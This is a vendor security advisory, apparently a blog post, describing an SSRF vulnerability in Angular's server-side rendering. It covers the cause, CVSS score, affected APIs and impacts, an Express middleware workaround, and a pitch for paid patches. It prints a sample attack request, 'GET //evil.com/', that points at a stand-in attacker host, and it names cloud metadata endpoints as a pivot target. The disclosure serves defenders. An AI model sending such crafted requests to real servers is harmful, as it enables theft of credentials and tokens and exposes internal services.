CVE-2026-41423: SSRF in Angular Platform-Server via Backslash URL Normalization

Open source powers the modern software stack, but its security depends on a shared commitment to finding and fixing weaknesses before they become incidents.

At HeroDevs, that's our mission: secure open source. We do it in two ways:

1. Remediating known CVEs across critical ecosystems, and
2. Proactively researching vulnerabilities before attackers can exploit them.

A high-severity Angular SSR vulnerability, CVE-2026-41423, has been disclosed in Angular's server-side rendering pipeline. The flaw allows an unauthenticated attacker to misdirect outbound server-side HTTP requests by exploiting how @angular/platform-server normalizes backslash and protocol-relative URLs during SSR. For applications running Angular 18 or earlier, there is no upstream patch available.

‍

What is CVE-2026-41423?

CVE-2026-41423 is a Server-Side Request Forgery (SSRF) vulnerability in @angular/platform-server, the package that powers Angular's Server-Side Rendering (SSR). It allows an unauthenticated attacker to redirect outbound server-side requests to a host of their choosing by exploiting how Angular SSR resolves the application's host from the incoming request URL.

During SSR, Angular determines the current request context by resolving the request URL's pathname against a known base URL. That resolved URL becomes the reference Angular uses for routing and for any server-side HTTP work, including relative requests issued through HttpClient and host lookups via PlatformLocation.hostname.

The vulnerability lives in how this resolution interacts with JavaScript URL parsing semantics. JavaScript's URL parser treats a string that begins with multiple slashes as a protocol-relative URL, which replaces the host component of the base URL during resolution. An attacker sends a request whose path starts with multiple slashes followed by a hostname:

GET //evil.com/ HTTP/1.1

When Angular SSR resolves this path against its base URL, the parser interprets //evil.com/ as a new authority section and substitutes evil.com for the legitimate host. From that point in the render, every relative HttpClient call and every PlatformLocation.hostname read resolves against evil.com instead of the real server. Outbound requests intended for internal APIs, cloud metadata endpoints (such as the AWS Instance Metadata Service), or backend services go to attacker-controlled infrastructure instead.

The attack requires no authentication and no prior foothold: a single crafted request hijacks the application's perceived origin for the duration of that render.

‍

CVSS score and affected component for CVE-2026-41423

CVSS v4 Score: 8.7 (High)

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:L/SI:L/SA:N

‍

Affected component: @angular/platform-server

Affected rendering APIs (according to GitHub Security Advisory):

• renderModule
• renderApplication
• CommonEngine (from @angular/ssr)

Not affected:

• AngularAppEngine (from @angular/ssr)
• AngularNodeAppEngine (from @angular/ssr)

Root cause: Angular Platform-Server accepts req.url from the host framework and resolves the application origin directly from that value, without first validating or sanitizing the URL structure. Backslash normalization is correct per the URL specification, but it produces a protocol-relative result that Angular interprets as a legitimate origin. The fix validates the URL before resolution and strips leading sequences that could produce protocol-relative or external origins.

Source: GHSA-45q2-gjvg-7973

‍

Angular version support and patch status:

‍

Angular 18 reached end of life in November 2025. The Angular open source project does not issue security patches for end-of-life versions. Organizations running Angular 18 or earlier with SSR enabled have no upstream remediation path for this vulnerability.

‍

Impact of CVE-2026-41423

When successfully exploited, CVE-2026-41423 allows an attacker to redirect server-side HTTP calls to infrastructure they control. Depending on how the application uses SSR, this can lead to:

• Credential and token exfiltration: Authorization headers, API keys, or session tokens transmitted with relative HttpClient calls are sent to the attacker's server.
• Internal API exposure: Private backend services that are not directly reachable from the internet become reachable via the SSR server acting as an unwilling proxy.
• Cloud metadata service access: In cloud-hosted deployments, if any relative URL resolution aligns with an Instance Metadata Service address (e.g., 169.254.169.254), the attacker may be able to pivot to credential theft at the cloud layer.
• Data integrity risk at downstream services: Because the subsequent system integrity impact is rated Low in the CVSS v4 vector, downstream services that receive requests from the hijacked SSR origin may act on attacker-influenced data.

The attack requires no authentication and produces no visible error to the end user. From the application's perspective, the render completes normally.

‍

How to fix CVE-2026-41423 in Angular

For NES customers on Angular 18 or earlier: HeroDevs has resolved CVE-2026-41423 in NES for Angular. The fix is available as a drop-in replacement with no application code changes required. Update and deploy your NES package and the vulnerability is addressed.

For teams on supported and/or EOL Angular versions:

‍

Interim workaround (all versions): Normalize leading slashes in URL paths before they reach vulnerable `@angular/platform-server` APIs. For example, if you are using an Express server for SSR, add a middleware before Angular's rendering layer to sanitize `req.url`:

app.use((req, res, next) => {
  if (
    req.url.startsWith('//') ||
    req.url.startsWith('/\\') ||
    req.url.startsWith('\\')
  ) {
    req.url = '/' + req.url.replace(/^[/\\]+/, '');
  }
  next();
});

‍

This strips the leading sequences that trigger backslash normalization before they reach Angular's URL resolution logic. Apply this as a defense-in-depth measure even on patched versions.

‍

Taking action

CVE-2026-41423 demonstrates that framework-level URL handling assumptions can create exploitable conditions that are invisible to application developers. No developer wrote unsafe code here. Angular's URL normalization follows the specification, Express passes req.url as expected, and the application renders without errors. The vulnerability emerges at the intersection of these behaviors, and exploiting it requires only a single crafted request with no credentials.

The upstream Angular project has patched versions 19, 20, and 21. Angular 18, which reached end of life in November 2025, received no patch. Versions 4 through 17 are in the same position.

If your organization runs Angular SSR on an end-of-life version, this is exactly the exposure profile NES for Angular exists to address. HeroDevs’ NES delivers security fixes for Angular versions the upstream project no longer maintains, as drop-in replacements that require no migration to a new major version.

Schedule a brief call to learn more about NES. Map your CVE-2026-41423 exposure and get a drop-in patch path, no major-version migration required.

For related Angular CVE coverage, see CVE-2026-27970: XSS in Angular i18n ICU Messages.